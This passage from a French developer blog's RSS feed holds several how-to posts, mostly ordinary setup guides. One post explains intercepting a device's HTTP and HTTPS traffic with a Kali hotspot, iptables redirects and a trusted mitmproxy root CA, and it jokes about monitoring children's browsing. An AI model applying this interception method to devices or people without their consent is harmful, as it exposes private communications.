<p><!-- raw HTML omitted -->Deuxième vidéo:<!-- raw HTML omitted --> Tout est branché et semble opérationnel. On peut maintenant tester la voiture et la piloter avec son Smartphone. Yeah cela fonctionne parfaitement et sans aucune latence (Websocket).</p>

    <iframe 
        width="100%" 
        height="400" 
        src="//www.youtube.com/embed/flYpdOYJOQw?rel=0" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>




<h2 id="schéma-de-cablage">Schéma de cablage</h2>
<p>Voici le schéma de cablage:
<img src="/images/schema-cablage.png" alt="image"></p>
<p>Matériel nécessaire (presque rien):
<img src="/images/IMG_2746.JPG" alt="image"></p>
<ul>
<li>1 breadboard (pour v1 prototypage. Pas viable dans le temps. je vais tout souder (dès que j&rsquo;ai reçu les pièces))</li>
<li>Fer à souder et étain</li>
<li>4 opto coupleurs</li>
<li>1 voiture téléguidée</li>
<li>1 Raspberry Pi 3</li>
<li>Des fils male / male et male / femelle</li>
<li>1 carte Micro SD</li>
<li>1 batterie externe (pour le Raspberry Pi)</li>
</ul>
<p>Montage terminé:
<img src="/images/IMG_2749.JPG" alt="image"></p>
<h2 id="pilotage-de-la-voiture">Pilotage de la voiture</h2>
<p>J&rsquo;ai réalisé une petite interface Web très simple qui me permet de piloter la voiture.
Il y a aussi un petit serveur NodeJS qui permet de transmettre les commandes de l&rsquo;interface au GPIO du Raspberry Pi via Websocket et de servir les fichiers statiques (html et js).</p>
<p>Tout est opensource et disponible <a href="https://github.com/oeeckhoutte/RC-Car">ici</a>.</p>
<p>Voici à quoi ressmemble l&rsquo;interface qui ne va pas me servir très longtemps puisque mon objectif est que la voiture soit autonome.</p>
<p><img src="/images/IMG_2747.PNG" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Coding Coneway&#39;s Game of Life en TDD</title>
            <link>https://leandeep.com/coding-coneways-game-of-life-en-tdd/</link>
            <pubDate>Sat, 15 Dec 2018 18:31:00 +0000</pubDate>
            
            <guid>https://leandeep.com/coding-coneways-game-of-life-en-tdd/</guid>
            <description>&lt;p&gt;Ce weekend, j&amp;rsquo;ai pris pas mal de plaisir à faire un Kata en JavaScript et coder le jeu &lt;em&gt;Conway&amp;rsquo;s Game of Life&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Si vous ne connaissez pas ce jeu il y a une formidable vidéo explicative sur la chaine science étonnante: &lt;a href=&#34;https://www.youtube.com/watch?v=S-W0NX97DB0&#34;&gt;https://www.youtube.com/watch?v=S-W0NX97DB0&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Voici le code source de la partie front en React: &lt;a href=&#34;https://github.com/oeeckhoutte/gol-kata-front&#34;&gt;https://github.com/oeeckhoutte/gol-kata-front&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Voici la partie &amp;ldquo;business logic&amp;rdquo;: &lt;a href=&#34;https://github.com/oeeckhoutte/gol-kata&#34;&gt;https://github.com/oeeckhoutte/gol-kata&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;En faisant un &lt;code&gt;npm i&lt;/code&gt; ou &lt;code&gt;yarn&lt;/code&gt; le module &lt;code&gt;gol-kata&lt;/code&gt; dont le code est ci-dessus et que j&amp;rsquo;ai codé en TDD (Test Driven Development) se téléchargera dans le répertoire &lt;code&gt;node_modules&lt;/code&gt;. N&amp;rsquo;hésitez pas à jeter un oeil au code.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Ce weekend, j&rsquo;ai pris pas mal de plaisir à faire un Kata en JavaScript et coder le jeu <em>Conway&rsquo;s Game of Life</em>.</p>
<p>Si vous ne connaissez pas ce jeu il y a une formidable vidéo explicative sur la chaine science étonnante: <a href="https://www.youtube.com/watch?v=S-W0NX97DB0">https://www.youtube.com/watch?v=S-W0NX97DB0</a></p>
<p>Voici le code source de la partie front en React: <a href="https://github.com/oeeckhoutte/gol-kata-front">https://github.com/oeeckhoutte/gol-kata-front</a></p>
<p>Voici la partie &ldquo;business logic&rdquo;: <a href="https://github.com/oeeckhoutte/gol-kata">https://github.com/oeeckhoutte/gol-kata</a></p>
<p>En faisant un <code>npm i</code> ou <code>yarn</code> le module <code>gol-kata</code> dont le code est ci-dessus et que j&rsquo;ai codé en TDD (Test Driven Development) se téléchargera dans le répertoire <code>node_modules</code>. N&rsquo;hésitez pas à jeter un oeil au code.</p>
<p>Voici une vidéo du résultat:</p>

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/uOMwzMhDhnY?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


]]></content>
        </item>
        
        <item>
            <title>Mettre en place un proxy transparent compatible SSL pour tracer toutes les requêtes</title>
            <link>https://leandeep.com/mettre-en-place-un-proxy-transparent-compatible-ssl-pour-tracer-toutes-les-requ%C3%AAtes/</link>
            <pubDate>Thu, 06 Dec 2018 22:22:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mettre-en-place-un-proxy-transparent-compatible-ssl-pour-tracer-toutes-les-requ%C3%AAtes/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment rapidement mettre en place un proxy transparent pour &amp;ldquo;&lt;em&gt;logguer&lt;/em&gt;&amp;rdquo; tous les sites appelés par un device.
C&amp;rsquo;est extrèmement pratique lorsqu&amp;rsquo;on fait du développement mobile lorsqu&amp;rsquo;on veut analyser les requêtes faites par notre application. (Je n&amp;rsquo;ai pas encore d&amp;rsquo;enfant mais cela pourrait permettrer de surveiller les sites sur lesquels ils vont :D&amp;hellip; Bref il y a beaucoup de use cases.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée ici est de créer un hotspot Wifi. Lorsqu&amp;rsquo;un device s&amp;rsquo;y connecte tout le traffic qu&amp;rsquo;il va générer sera &amp;ldquo;&lt;em&gt;loggué&lt;/em&gt;&amp;rdquo;. Il sera alors facile de voir toutes les requetes et réponses faites par le device.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment rapidement mettre en place un proxy transparent pour &ldquo;<em>logguer</em>&rdquo; tous les sites appelés par un device.
C&rsquo;est extrèmement pratique lorsqu&rsquo;on fait du développement mobile lorsqu&rsquo;on veut analyser les requêtes faites par notre application. (Je n&rsquo;ai pas encore d&rsquo;enfant mais cela pourrait permettrer de surveiller les sites sur lesquels ils vont :D&hellip; Bref il y a beaucoup de use cases.</p>
<p>L&rsquo;idée ici est de créer un hotspot Wifi. Lorsqu&rsquo;un device s&rsquo;y connecte tout le traffic qu&rsquo;il va générer sera &ldquo;<em>loggué</em>&rdquo;. Il sera alors facile de voir toutes les requetes et réponses faites par le device.</p>
<p>Ce proxy permet de tracker le traffic HTTP et HTTPS.
Pour la partie HTTPS il faudra installer un Root CA sur le device.</p>
<p>J&rsquo;ai utilisé un dongle USB type Atheros Alfa AWUS&hellip;</p>
<br/>
<h2 id="installation-du-proxy-man-in-the-middle">Installation du proxy Man-In-The-Middle</h2>
<ul>
<li>
<p>Commencez par télécharger la version complète de kali linux (~3Go) <a href="https://kali.org/downloads/">https://kali.org/downloads/</a></p>
</li>
<li>
<p>Je suis sur Mac du coup j&rsquo;ai créé une VM avec VirtualBox (outil simple et gratuit). Faites de même et n&rsquo;oubliez pas de brancher votre dongle et de l&rsquo;associer à votre VM. Pour le réseau, montez le en mode Bridge (cela permettra de facilement faire un SSH sur la VM)</p>
</li>
<li>
<p>Démarrez votre VM et donc Kali en mode Live.</p>
</li>
<li>
<p>Après le démarrage de Kali, vous pourrez vous y connecter en utilisant les credentials par défaut: <code>root/toor</code>.</p>
</li>
<li>
<p>Créer un hotspot Wifi. Pour cela, cliquez sur l&rsquo;icône réseau en haut à droite puis cliquez sur &ldquo;Wi-Fi&rdquo;, puis &ldquo;Wi-Fi Settings&rdquo;, sélectionnez la carte sans fil que vous souhaitez utiliser pour le hotspot et enfin cliquez sur &ldquo;Use as Hotspot&rdquo;. Bravo vous avez créé en quelques minutes un hotspot wifi avec avec des rêgles de routage. Vous pouvez d&rsquo;ors et déjà utiliser Wireshark ou d&rsquo;autres outils du genre&hellip;</p>
</li>
<li>
<p>Connectez votre device au hotspot &ldquo;kali&rdquo;.</p>
</li>
<li>
<p>De retour sur votre Kali, activez l&rsquo;IP forwarding dans le kernel avec la commande suivante <code>sysctl -w net.ipv4.ip_forward=1</code>.</p>
</li>
<li>
<p>En supposant que votre hotspot utilise <code>wlan0</code>, on va configurer des rêgles <code>iptables</code> qui vont rediriger tout le traffic TCP des ports 80 et 443 sur le proxy Mitmproxy.</p>
</li>
</ul>
<pre tabindex="0"><code>iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 443 -j REDIRECT --to-port 8080
</code></pre><ul>
<li>Maintenant vous pouvez démarrer le proxy avec la commande suivante:</li>
</ul>
<pre tabindex="0"><code>mitmproxy --mode transparent --listen-port 8080
</code></pre><ul>
<li>Mitmproxy va démarrer et vous pourrez voir tout le traffic HTTP.
Par contre dès que vous essayerez de voir le contenu des sites en HTTPS vous aurez une erreur comme celle-ci:</li>
</ul>
<p><img src="/images/https-error.png" alt="image"></p>
<br/>
<h2 id="configuration-https-pour-ios">Configuration HTTPS pour iOS</h2>
<ul>
<li>
<p>Lorsque Mitmproxy démarre pour la première fois il crée automatiquement des CA certificates dans le répertoire ~/.mitmproxy.</p>
</li>
<li>
<p>Récupérer les CA de la VM sur votre Host via scp. Pour cela démarrez le service SSH:</p>
</li>
</ul>
<pre tabindex="0"><code>systemctl start ssh.service
# scp... ou faite un cat (il n&#39;y a que 2 fichiers)
</code></pre><ul>
<li>
<p>Une fois les 2 CA <code>mitmproxy-ca.pem</code> et <code>mitmproxy-ca-cert.pem</code> récupérés, créez un server web (un simple directory listing) et exposez les CA. L&rsquo;idée est de vous rendre sur le serveur web avec votre device (iPhone) et de cliquer sur les CA. Une fois que vous aurez cliqué dessus vous pourrez les &ldquo;truster&rdquo;.</p>
</li>
<li>
<p>Une fois que vous les aurez &ldquo;trusté&rdquo;, vous pourrez lire le contenu des requêtes HTTPS dans l&rsquo;interface mitmproxy :D. Voici à quoi cela ressemble lorsque je me rends avec mon iPhone sur la page &ldquo;Tweets&rdquo; de ce site.</p>
</li>
</ul>
<br/>
<p><img src="/images/leandeep-browsing-ios.png" alt="image"></p>
<!-- raw HTML omitted -->
<br/>
<p><img src="/images/mitmproxy-demo.png" alt="image"></p>
<!-- raw HTML omitted -->
<br/>
<ul>
<li>Pour Android je n&rsquo;ai pas encore testé. Il semblerait qu&rsquo;il y ait un domaine permettant d&rsquo;installer plus facilement les CA. <a href="http://mitm.it">http://mitm.it</a> (cela ne fonctionnait pas pour iOS mais pour Android il faudrait tester). Si cette URL ne nous aide pas à installer les CA, la méthode ci-dessus devrait fonctionner également sur Android.</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Convertir une video .webm en .mp4</title>
            <link>https://leandeep.com/convertir-une-video-.webm-en-.mp4/</link>
            <pubDate>Sun, 02 Dec 2018 11:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/convertir-une-video-.webm-en-.mp4/</guid>
            <description>&lt;p&gt;Si comme moi vous aimez écouter en voiture des conférences enregistrées et que vous avez un iPhone, vous savez que le format mp4 est indispensable pour passer par iTunes.&lt;/p&gt;
&lt;p&gt;Pour convertir une vidéo .webm en .mp4, il suffit d&amp;rsquo;utiliser les commandes suivantes:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Si vous ne l&amp;#39;avez pas déjà
# brew install ffmpeg

ffmpeg -i &amp;lt;votre-video&amp;gt;.webm &amp;lt;votre-video&amp;gt;.mp4
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Il ne faut surtout pas de logiciel payant !&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Si comme moi vous aimez écouter en voiture des conférences enregistrées et que vous avez un iPhone, vous savez que le format mp4 est indispensable pour passer par iTunes.</p>
<p>Pour convertir une vidéo .webm en .mp4, il suffit d&rsquo;utiliser les commandes suivantes:</p>
<pre tabindex="0"><code># Si vous ne l&#39;avez pas déjà
# brew install ffmpeg

ffmpeg -i &lt;votre-video&gt;.webm &lt;votre-video&gt;.mp4
</code></pre><p>Il ne faut surtout pas de logiciel payant !</p>
]]></content>
        </item>
        
        <item>
            <title>Tester une tâche Gitlab CI localement sans Gitlab</title>
            <link>https://leandeep.com/tester-une-t%C3%A2che-gitlab-ci-localement-sans-gitlab/</link>
            <pubDate>Sun, 18 Nov 2018 21:18:00 +0000</pubDate>
            
            <guid>https://leandeep.com/tester-une-t%C3%A2che-gitlab-ci-localement-sans-gitlab/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment tester une pipeline Gitlab CI en local. Il n&amp;rsquo;est pas nécessaire d&amp;rsquo;installer un Gitlab en local; ce qui peut être ennuyeux avec la gestion des certificats SSL. Pouvoir tester son fichier &lt;code&gt;.gitlab-ci.yml&lt;/code&gt; en local est très utile pour 2 raisons. D&amp;rsquo;un côté c&amp;rsquo;est plus rapide car il ne faut pas pousser son code sur un Gitlab distant et attendre qu&amp;rsquo;un runner soit disponible. D&amp;rsquo;un autre côté on ne pollue pas le repository Git distant avec d&amp;rsquo;innombrables commits de tests (on peut réécrire l&amp;rsquo;historique je sais bien) ou avec des notifications aux collègues.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment tester une pipeline Gitlab CI en local. Il n&rsquo;est pas nécessaire d&rsquo;installer un Gitlab en local; ce qui peut être ennuyeux avec la gestion des certificats SSL. Pouvoir tester son fichier <code>.gitlab-ci.yml</code> en local est très utile pour 2 raisons. D&rsquo;un côté c&rsquo;est plus rapide car il ne faut pas pousser son code sur un Gitlab distant et attendre qu&rsquo;un runner soit disponible. D&rsquo;un autre côté on ne pollue pas le repository Git distant avec d&rsquo;innombrables commits de tests (on peut réécrire l&rsquo;historique je sais bien) ou avec des notifications aux collègues.</p>
<br/>
<p>Prenons par exemple le fichier <code>.gitlab-ci.yml</code> suivant:</p>
<pre tabindex="0"><code>build:
    image: nodejs:8
    stage: build
    before_script:
        - npm i
    script:
        - npm run build
</code></pre><br/>
<p>Avec la commande suivante on peut directement tester sa tâche build en local:</p>
<pre tabindex="0"><code>gitlab-runner exec docker build
</code></pre><p><br/>
Lorsqu&rsquo;on utilise Gitlab CI on faut parfois faire appel à du cache entre les stages. C&rsquo;est possible d&rsquo;en avoir avec la commande suivante:</p>
<pre tabindex="0"><code>gitlab-runner exec docker --docker-volumes `pwd`/cache:/cache build
</code></pre><br/>
<p>On peut aussi se faire un petit <code>Makefile</code> pour se simplifier la vie:</p>
<pre tabindex="0"><code>.PHONY: clean

.DEFAULT: cache
    gitlab-runner exec docker --docker-volumes `pwd`/cache:/cache $@

cache:
    mkdir $@

clean:
    rm -rf cache
</code></pre><br/>
<p>Enfin, si vous voulez passer des variables d&rsquo;environnement dans un stage de votre pipeline cela se fait ainsi:</p>
<pre tabindex="0"><code>gitlab-runner exec docker --env YOUR_ENV_VAR=&#34;&#34; build
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Partager des clés privées entre les différents membres d&#39;une équipe</title>
            <link>https://leandeep.com/partager-des-cl%C3%A9s-priv%C3%A9es-entre-les-diff%C3%A9rents-membres-dune-%C3%A9quipe/</link>
            <pubDate>Thu, 01 Nov 2018 19:37:00 +0000</pubDate>
            
            <guid>https://leandeep.com/partager-des-cl%C3%A9s-priv%C3%A9es-entre-les-diff%C3%A9rents-membres-dune-%C3%A9quipe/</guid>
            <description>&lt;p&gt;Lorsqu&amp;rsquo;on travaille dans une équipe de Devops il n&amp;rsquo;est pas rare de devoir partager des fichiers sécurisés (clés privées&amp;hellip;). Ce sont les fichiers que l&amp;rsquo;on doit impérativement sauvegarder (si le Devops est en congés ou quitte l&amp;rsquo;entreprise) et que l&amp;rsquo;on ne peut pas mettre sur Git.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;Pour ce genre de fichiers heureuesement il y a des outils comme EncFS qui permettent de crypter des dossiers. On peut ainsi créer un dossier dans un espace partagé (Dropbox, Google Drive&amp;hellip;), le partager à toute une équipe et seules les personnes qui ont le mot de passe pourront le décrypter. L&amp;rsquo;intérêt d&amp;rsquo;EncFS est qu&amp;rsquo;il est cross-platforms. Il y a des clients pour Windows, Linux, OSX, Android et iOS&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Lorsqu&rsquo;on travaille dans une équipe de Devops il n&rsquo;est pas rare de devoir partager des fichiers sécurisés (clés privées&hellip;). Ce sont les fichiers que l&rsquo;on doit impérativement sauvegarder (si le Devops est en congés ou quitte l&rsquo;entreprise) et que l&rsquo;on ne peut pas mettre sur Git.</p>
<br/>
<p>Pour ce genre de fichiers heureuesement il y a des outils comme EncFS qui permettent de crypter des dossiers. On peut ainsi créer un dossier dans un espace partagé (Dropbox, Google Drive&hellip;), le partager à toute une équipe et seules les personnes qui ont le mot de passe pourront le décrypter. L&rsquo;intérêt d&rsquo;EncFS est qu&rsquo;il est cross-platforms. Il y a des clients pour Windows, Linux, OSX, Android et iOS&hellip;</p>
<br/>
<p>Voici l&rsquo;installation sur OSX.</p>
<pre tabindex="0"><code>brew install osxfuse
brew install sshfs
brew install encfs
</code></pre><br/>
<p>Ensuite il n&rsquo;y a plus qu&rsquo;à exécuter la commande suivante pour créer un répertoire crypté sur Dropbox par exemple.</p>
<pre tabindex="0"><code>encfs ~/Dropbox/dossier_securise ~/dossier_securise
</code></pre><br/>
<p>Tout ce que vous déposerez dans ~/dossier_securise sera crypté à la volé, copié dans le répertoire Dropbox et donc synchronisé avec les personnes de votre choix.
Tant que ces personnes n&rsquo;auront pas à leur tour monté le dossier de Dropbox dans un répertoire local via encfs, elles ne verront que des fichiers crypté comme ceci:</p>
<pre tabindex="0"><code>.encfs6.xml
25G6HONULIE75F57UMITNZR2GBEJF
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Être notifié lorsqu&#39;un long traitement est terminé</title>
            <link>https://leandeep.com/%C3%AAtre-notifi%C3%A9-lorsquun-long-traitement-est-termin%C3%A9/</link>
            <pubDate>Thu, 01 Nov 2018 19:02:00 +0000</pubDate>
            
            <guid>https://leandeep.com/%C3%AAtre-notifi%C3%A9-lorsquun-long-traitement-est-termin%C3%A9/</guid>
            <description>&lt;p&gt;Personnellement je trouve cela inutile de rester derrière mon écran à ne rien faire en attendant qu&amp;rsquo;un traitement long (entrainement Machine Learning, installation d&amp;rsquo;un Cluster&amp;hellip;) se termine.
Du coup, je passe à autre chose en attendant. Pour éviter de devoir sans cesse basculer d&amp;rsquo;une fenêtre à une autre, j&amp;rsquo;utilise des notifications. Je suis notifié lorsque mes traitements sont terminés.&lt;/p&gt;
&lt;p&gt;Pour ce faire j&amp;rsquo;ai juste à executer la commande suivante derrière la commande qui exécutera un long process &lt;code&gt; &amp;amp;&amp;amp; warnov&lt;/code&gt;. (Je n&amp;rsquo;ai pas cherché longtemps pour le nom de ma commande: warnov pour &amp;ldquo;&lt;strong&gt;warn&lt;/strong&gt; when it is &lt;strong&gt;over&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Personnellement je trouve cela inutile de rester derrière mon écran à ne rien faire en attendant qu&rsquo;un traitement long (entrainement Machine Learning, installation d&rsquo;un Cluster&hellip;) se termine.
Du coup, je passe à autre chose en attendant. Pour éviter de devoir sans cesse basculer d&rsquo;une fenêtre à une autre, j&rsquo;utilise des notifications. Je suis notifié lorsque mes traitements sont terminés.</p>
<p>Pour ce faire j&rsquo;ai juste à executer la commande suivante derrière la commande qui exécutera un long process <code> &amp;&amp; warnov</code>. (Je n&rsquo;ai pas cherché longtemps pour le nom de ma commande: warnov pour &ldquo;<strong>warn</strong> when it is <strong>over</strong>&rdquo;.</p>
<p>C&rsquo;est simple et cela fonctionne très bien sur OSX.
J&rsquo;utilise les notifications système via l&rsquo;alias suivant dans mon <code>~/zshrc</code>.</p>
<pre tabindex="0"><code># Notifications
function _sys_notify() {
    local notification_command=&#34;display notification \&#34;$2\&#34; with title \&#34;$1\&#34;&#34;
    osascript -e &#34;$notification_command&#34;
}
alias warnov=&#34;_sys_notify &#39;Done&#39; &#39;The long running process is over&#39;&#34;
</code></pre><p>Après un <code>source ~/.zshrc</code> essayez un <code>echo 'toto' &amp;&amp; warnov</code>.</p>
]]></content>
        </item>
        
        <item>
            <title>Rendre Tensorflow compatible avec plus de cartes graphiques</title>
            <link>https://leandeep.com/rendre-tensorflow-compatible-avec-plus-de-cartes-graphiques/</link>
            <pubDate>Sat, 29 Sep 2018 19:50:00 +0000</pubDate>
            
            <guid>https://leandeep.com/rendre-tensorflow-compatible-avec-plus-de-cartes-graphiques/</guid>
            <description>&lt;h2 id=&#34;installer-les-dépendances&#34;&gt;Installer les dépendances&lt;/h2&gt;
&lt;p&gt;Installer openjdk 8:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install openjdk-8-jdk
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Installer les autres dépendances:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install pkg-config zip g++ zlib1g-dev unzip
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;installer-bazel&#34;&gt;Installer Bazel&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;wget https://github.com/bazelbuild/bazel/releases/download/0.17.2/bazel-0.17.2-installer-linux-x86_64.sh
chmod +x bazel-0.17.2-installer-linux-x86_64.sh
./bazel-0.17.2-installer-linux-x86_64.sh --user
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Pour pouvoir utiliser Bazel, modifier votre .bashrc ou .zshrc et ajouter cette commande:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export PATH=&amp;#34;$PATH:$HOME/bin&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;install-libcudnn&#34;&gt;Install libcudnn&lt;/h2&gt;
&lt;p&gt;Télécharger le binaire directement depuis le site: &lt;a href=&#34;https://developer.nvidia.com/cudnn&#34;&gt;https://developer.nvidia.com/cudnn&lt;/a&gt;. Cette étape nécessite de créer une compte chez Nvidia.&lt;/p&gt;
&lt;p&gt;Pour installer le binaire il suffit d&amp;rsquo;exécuter la commande suivante:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="installer-les-dépendances">Installer les dépendances</h2>
<p>Installer openjdk 8:</p>
<pre tabindex="0"><code>sudo apt-get install openjdk-8-jdk
</code></pre><p>Installer les autres dépendances:</p>
<pre tabindex="0"><code>sudo apt-get install pkg-config zip g++ zlib1g-dev unzip
</code></pre><br/>
<h2 id="installer-bazel">Installer Bazel</h2>
<pre tabindex="0"><code>wget https://github.com/bazelbuild/bazel/releases/download/0.17.2/bazel-0.17.2-installer-linux-x86_64.sh
chmod +x bazel-0.17.2-installer-linux-x86_64.sh
./bazel-0.17.2-installer-linux-x86_64.sh --user
</code></pre><p>Pour pouvoir utiliser Bazel, modifier votre .bashrc ou .zshrc et ajouter cette commande:</p>
<pre tabindex="0"><code>export PATH=&#34;$PATH:$HOME/bin&#34;
</code></pre><br/>
<h2 id="install-libcudnn">Install libcudnn</h2>
<p>Télécharger le binaire directement depuis le site: <a href="https://developer.nvidia.com/cudnn">https://developer.nvidia.com/cudnn</a>. Cette étape nécessite de créer une compte chez Nvidia.</p>
<p>Pour installer le binaire il suffit d&rsquo;exécuter la commande suivante:</p>
<pre tabindex="0"><code>sudo dpkg -i libcudnn7_7.3.0.29-1+cuda9.0_amd64.deb
sudo dpkg -i libcudnn7-dev_7.3.0.29-1+cuda9.0_amd64.deb
sudo dpkg -i libcudnn7-doc_7.3.0.29-1+cuda9.0_amd64.deb
</code></pre><p>Vérifier que cudnn est bien installé:</p>
<pre tabindex="0"><code># Copy the cuDNN sample to a writable path.
cp -r /usr/src/cudnn_samples_v7/ $HOME
# Go to the writable path.
cd  $HOME/cudnn_samples_v7/mnistCUDNN
# Compile the mnistCUDNN sample.
make clean &amp;&amp; make
# Run the mnistCUDNN sample.
./mnistCUDNN
# If cuDNN is properly installed and running on your Linux system, you will see a message similar to the following:
$ Test passed!
</code></pre><p>Maintenons les paquets afin qu&rsquo;ils ne soient pas updatés ou effacés:</p>
<pre tabindex="0"><code>sudo apt-mark hold libcudnn7 libcudnn7-dev libcudnn7-doc
</code></pre><br/>
<h2 id="installer-tensorflow">Installer Tensorflow</h2>
<p>Commencer par installer les dépendances:</p>
<pre tabindex="0"><code>sudo apt-get install python-numpy swig python-dev git python-pip
</code></pre><p>Puis cloner Tensorflow repo:</p>
<pre tabindex="0"><code>git clone --recurse-submodules https://github.com/tensorflow/tensorflow.git -b r1.11
</code></pre><p>Configurer le build pour que Tensorflow puisse fonctionner avec (dans mon cas) les cartes supportant cuda 3.0 compute:
Pour voir quelle version appliquer pour votre carte graphique rendez-vous sur <a href="https://developer.nvidia.com/cuda-gpus">https://developer.nvidia.com/cuda-gpus</a></p>
<p>Obtenir le modèle de sa carte graphique:</p>
<pre tabindex="0"><code>sudo lshw -C display | grep product
</code></pre><pre tabindex="0"><code>cd tensorflow
TF_UNOFFICIAL_SETTING=1 ./configure

# Pour les questions suivantes répondre comme ceci: 

Do you wish to build TensorFlow with CUDA support? [y/N]: y
CUDA support will be enabled for TensorFlow.

Please specify the CUDA SDK version you want to use. [Leave empty to default to CUDA 9.0]:


Please specify the location where CUDA 9.0 toolkit is installed. Refer to README.md for more details. [Default is /usr/local/cuda]:


Please specify the cuDNN version you want to use. [Leave empty to default to cuDNN 7.0]:


Please specify the location where cuDNN 7 library is installed. Refer to README.md for more details. [Default is /usr/local/cuda]: /usr/lib/x86_64-linux-gnu/
</code></pre><p>Installer la dépendance Keras:</p>
<pre tabindex="0"><code>pip install keras_applications
pip install keras_preprocessing
</code></pre><p>Compiler Tensorflow:</p>
<pre tabindex="0"><code>$HOME/bin/bazel build -c opt --config=cuda //tensorflow/cc:tutorials_example_trainer

bazel-bin/tensorflow/cc/tutorials_example_trainer --use_gpu
</code></pre><p>Installer l&rsquo;interface Python.
On commence par créer un package pip avec Bazel:</p>
<pre tabindex="0"><code>$HOME/bin/bazel build -c opt --config=cuda //tensorflow/tools/pip_package:build_pip_package
</code></pre><p>On install ensuite le package:</p>
<pre tabindex="0"><code>bazel-bin/tensorflow/tools/pip_package/build_pip_package /tmp/tensorflow_pkg
</code></pre><p>Et on installe le package Tensorflow disponible dans /tmp/tensorflow_pkg/:</p>
<pre tabindex="0"><code>pip install /tmp/tensorflow_pkg/tensorflow-1.11.0-cp27-cp27mu-linux_x86_64.whl
</code></pre><p>On vérifie que cela fonctionne:</p>
<pre tabindex="0"><code>python
Python 2.7.12 (default, Dec  4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type &#34;help&#34;, &#34;copyright&#34;, &#34;credits&#34; or &#34;license&#34; for more information.
&gt;&gt;&gt; import tensorflow as tf
&gt;&gt;&gt; hello = tf.constant(&#39;Hello, TensorFlow!&#39;)
&gt;&gt;&gt; sess = tf.Session()
2018-09-29 17:03:03.939989: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: SSE4.1 SSE4.2 AVX
2018-09-29 17:03:03.981711: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:964] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2018-09-29 17:03:03.982119: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1411] Found device 0 with properties:
name: GeForce GTX 660 Ti major: 3 minor: 0 memoryClockRate(GHz): 0.98
pciBusID: 0000:01:00.0
totalMemory: 1.95GiB freeMemory: 1.89GiB
2018-09-29 17:03:03.982143: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1490] Adding visible gpu devices: 0
2018-09-29 17:03:04.240898: I tensorflow/core/common_runtime/gpu/gpu_device.cc:971] Device interconnect StreamExecutor with strength 1 edge matrix:
2018-09-29 17:03:04.240938: I tensorflow/core/common_runtime/gpu/gpu_device.cc:977]      0
2018-09-29 17:03:04.240950: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990] 0:   N
2018-09-29 17:03:04.241102: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1103] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 1663 MB memory) -&gt; physical GPU (device: 0, name: GeForce GTX 660 Ti, pci bus id: 0000:01:00.0, compute capability: 3.0)
</code></pre><br/>
<p>Perfect! Maintenant je peux utiliser mon GPU sur mon serveur.</p>
]]></content>
        </item>
        
        <item>
            <title>Comment j&#39;organise mes projets de data science ?</title>
            <link>https://leandeep.com/comment-jorganise-mes-projets-de-data-science/</link>
            <pubDate>Thu, 27 Sep 2018 13:22:00 +0000</pubDate>
            
            <guid>https://leandeep.com/comment-jorganise-mes-projets-de-data-science/</guid>
            <description>&lt;p&gt;J&amp;rsquo;ai travaillé sur multiples projets de développement et clairement ceux qui fonctionnent le mieux sont ceux qui sont les plus structurés que ce soit en terme de:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Méthodologie et d&amp;rsquo;organisation d&amp;rsquo;équipe (Agile)&lt;/li&gt;
&lt;li&gt;Mindset&lt;/li&gt;
&lt;li&gt;Pratiques de développement (TDD, refactoring, pair programing)&lt;/li&gt;
